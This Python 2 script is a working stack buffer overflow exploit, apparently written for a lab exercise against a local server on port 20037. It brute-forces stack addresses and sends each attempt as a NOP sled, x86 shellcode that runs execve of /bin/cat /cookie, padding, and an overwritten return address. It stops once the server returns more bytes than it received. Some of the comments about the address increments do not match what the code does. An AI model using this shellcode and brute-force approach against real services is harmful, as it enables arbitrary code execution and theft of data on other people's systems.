#!/usr/bin/python

import errno
import signal
import socket
import struct
import sys

HOST = "127.0.0.1"
PORT = 20037

# unblock socket reads after a timeout
def nohandle(arg1, arg2):
    pass
signal.signal(signal.SIGALRM, nohandle)

code = ("\x68\x6b\x69\x65" "\x00\x68\x2f\x63" "\x6f\x6f\x89\xe2" "\x6a\x00\x68\x2f" # /cookie
    "\x63\x61\x74\x68" "\x2f\x62\x69\x6e" "\x89\xe3\x31\xc9" "\x51\x52\x53\x89"
    "\xe1\x31\xd2\x31" "\xc0\x04\x0b\xcd" "\x80")

for offset in range(1 << 23):
    # Go in increments of 16 bytes: Our nop sled is > 16 bytes long, so this
    # is guaranteed to hit it.
    # To find the buffer, try addresses at every 112 bytes
    buf_addr = 0xbf80000 + (offset << 3) | 0x4

    # 100 bytes of buf + 8 bytes of locals + 4 bytes of old stack pointer
    # output = NOPs (0x90) + code + padding.
    # We need 9*4 bytes at the end to build the arguments to execve.
    # To find the buffer, fill it with "\xeb\xfe" (JMP offset 0) which will
    # cause an infinite loop.
    output = "\x90" * (112 - len(code) - 9*4)
    output += code + ("\xef" * (9*4))

    # Overwrite the return address with the buffer address
    output += struct.pack("<L", buf_addr)

    # Time out the read if it takes > 10 seconds
    signal.alarm(10)

    print "0x%x" % (buf_addr)

    # Send our code to the server
    s = socket.socket()
    s.connect((HOST, PORT))
    s.send(output)
    result = ""
    try:
        while True:
            fragment = s.recv(1024)
            if len(fragment) == 0: break
            result += fragment
    except socket.error, e:
        # Catch hangs
        print "hang"
        if e[0] != errno.EINTR: raise
        result = output
    s.close()
    signal.alarm(0)

    if len(result) != len(output):
        # If we got back more bytes then we wrote, our code worked
        print
        print repr(result)
        break


